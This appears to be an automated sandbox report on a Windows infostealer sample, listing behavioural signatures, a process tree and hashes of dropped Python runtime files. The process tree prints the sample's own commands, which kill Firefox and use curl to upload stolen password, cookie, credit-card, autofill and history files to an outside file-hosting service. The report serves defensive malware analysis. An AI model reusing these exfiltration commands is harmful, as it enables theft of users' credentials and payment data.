Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/09/2026, 22:29

General

  • Target
    2026-09-22_0f26c4c05fae6f246a2ba79376c2a5f4_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  • Size 15.4MB
  • Sample260922-2eakdsgh22
  • SHA256 25f0fcf506d050481d6b17fdbc79411c6b2ea839ebb75b37f83d20abacc4fd98
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Loads dropped DLL 21 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Kills process with taskkill 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • cURL User-Agent 4 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-22_0f26c4c05fae6f246a2ba79376c2a5f4_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-22_0f26c4c05fae6f246a2ba79376c2a5f4_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3840
    • C:\Users\Admin\AppData\Local\Temp\2026-09-22_0f26c4c05fae6f246a2ba79376c2a5f4_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-09-22_0f26c4c05fae6f246a2ba79376c2a5f4_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:5468
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /im firefox.exe /t /f >nul 2>&1"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5316
        • C:\Windows\system32\taskkill.exe
          taskkill /im firefox.exe /t /f
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4492
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\wppasswords.txt" https://store4.gofile.io/uploadFile"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2916
        • C:\Windows\system32\curl.exe
          curl -F "file=@C:\Users\Admin\AppData\Local\Temp\wppasswords.txt" https://store4.gofile.io/uploadFile
          4⤵
            PID:4560
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\wpcookies.txt" https://store4.gofile.io/uploadFile"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4356
          • C:\Windows\system32\curl.exe
            curl -F "file=@C:\Users\Admin\AppData\Local\Temp\wpcookies.txt" https://store4.gofile.io/uploadFile
            4⤵
              PID:1896
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\wpcreditcards.txt" https://store4.gofile.io/uploadFile"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5796
            • C:\Windows\system32\curl.exe
              curl -F "file=@C:\Users\Admin\AppData\Local\Temp\wpcreditcards.txt" https://store4.gofile.io/uploadFile
              4⤵
                PID:4280
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\wpautofill.txt" https://store4.gofile.io/uploadFile"
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3868
              • C:\Windows\system32\curl.exe
                curl -F "file=@C:\Users\Admin\AppData\Local\Temp\wpautofill.txt" https://store4.gofile.io/uploadFile
                4⤵
                  PID:5444
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\wphistory.txt" https://store4.gofile.io/uploadFile"
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3452
                • C:\Windows\system32\curl.exe
                  curl -F "file=@C:\Users\Admin\AppData\Local\Temp\wphistory.txt" https://store4.gofile.io/uploadFile
                  4⤵
                    PID:1824
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\wpparsedcookies.txt" https://store4.gofile.io/uploadFile"
                  3⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:5260
                  • C:\Windows\system32\curl.exe
                    curl -F "file=@C:\Users\Admin\AppData\Local\Temp\wpparsedcookies.txt" https://store4.gofile.io/uploadFile
                    4⤵
                      PID:4708

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    _raw_aes.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\Crypto\Cipher\_raw_aes.pyd
                    • Size 34KB
                    • SHA256 520b343e44b5633bbc4fdcecc705a7f2eb6e55d082a1f3e4723ada9d7e5ea97d
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    _raw_aesni.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\Crypto\Cipher\_raw_aesni.pyd
                    • Size 15KB
                    • SHA256 3818873f50418cbecde58150e9bffff7372d2c2067fc0b96ffac9482dfddd603
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    _cpuid_c.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\Crypto\Util\_cpuid_c.pyd
                    • Size 10KB
                    • SHA256 2af984819d9b1f95132520901b355eb85aa24d5efc6fc5ae9e77252ed03b7f4b
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    VCRUNTIME140.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\VCRUNTIME140.dll
                    • Size 117KB
                    • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    VCRUNTIME140_1.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\VCRUNTIME140_1.dll
                    • Size 48KB
                    • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    _bz2.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\_bz2.pyd
                    • Size 85KB
                    • SHA256 082a761a280b08afecf6fb0509050ffbf7e87d1638ca49466b8b3eb4c85009b4
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    _ctypes.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\_ctypes.pyd
                    • Size 139KB
                    • SHA256 a11d680d89f054584e6a5b2a03103d8731def86e367aff2f70cce8c6367f9025
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    _hashlib.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\_hashlib.pyd
                    • Size 67KB
                    • SHA256 0c11671a2c572b4c016be263789f238125419df5711e281acdce8da50d9badda
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    _lzma.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\_lzma.pyd
                    • Size 157KB
                    • SHA256 2376cd374ce8c2c5ecf573226e563a96975599533f86a5f5eba5bdb705e341bb
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    _queue.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\_queue.pyd
                    • Size 35KB
                    • SHA256 8e75c8667f938c3e9b2e9739c09b08517b487437757f125ac400c70c7eadf270
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    _socket.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\_socket.pyd
                    • Size 85KB
                    • SHA256 42b84410269af5a5578679a3fe7b17d75d28f77a0c3c09d589adadd9d2d3e5f6
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    _sqlite3.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\_sqlite3.pyd
                    • Size 129KB
                    • SHA256 2e76f9b0c284bcf8ad48482f8686a25453c7fded9c206f5bf7af675761def246
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    _ssl.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\_ssl.pyd
                    • Size 180KB
                    • SHA256 bc17486f149f7311839c70b1cda5a22e4546a9670d3136d665df95ff3cc43abd
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    _wmi.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\_wmi.pyd
                    • Size 39KB
                    • SHA256 a299a6caf7241cebb0081c3ed9e98f815c61feee3e4813c1fd32369bd3fe6f5e
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    _zstd.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\_zstd.pyd
                    • Size 491KB
                    • SHA256 8f04a54778d4f21202f1bb9cfd5d080c5c5022158016dcaaf5908f7e2350270c
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    base_library.zip

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\base_library.zip
                    • Size 1.3MB
                    • SHA256 cbe3739fced35607f4d6f93de3e705fe35b756ca0c5809db8670e7a5b8069da8
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    libcrypto-3.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\libcrypto-3.dll
                    • Size 5.0MB
                    • SHA256 e03dd02fdcfb791981c9962827cfcf495f2a47a514c1526efb57f847a9df514a
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    libffi-8.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\libffi-8.dll
                    • Size 38KB
                    • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    libssl-3.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\libssl-3.dll
                    • Size 776KB
                    • SHA256 1e4bc0638682bfcbb36f4465d6a2e9944d917a60f05ecc8ddf9e96847e05e13f
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    python314.DLL

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\python314.DLL
                    • Size 6.4MB
                    • SHA256 7ffe3ab11342db03cc18b026f27485c0f74f5bf10f239f1f6573394900596394
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    Lorem ipsum.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
                    • Size 1KB
                    • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
                    • MD5 SHA1 SHA512 TLSH

                    sqlite3.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\sqlite3.dll
                    • Size 1.5MB
                    • SHA256 8891b740e9dcdd98455a832e3c89a6c5c208fb4eefe6df09829f44292aafdaa8
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    unicodedata.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI38402\unicodedata.pyd
                    • Size 740KB
                    • SHA256 64844c24f67e7eafb77142b4cbe4a430f4db3b16f59191586ba6596ca19fc775
                    • MD5 SHA1 SHA512 SSDEEP TLSH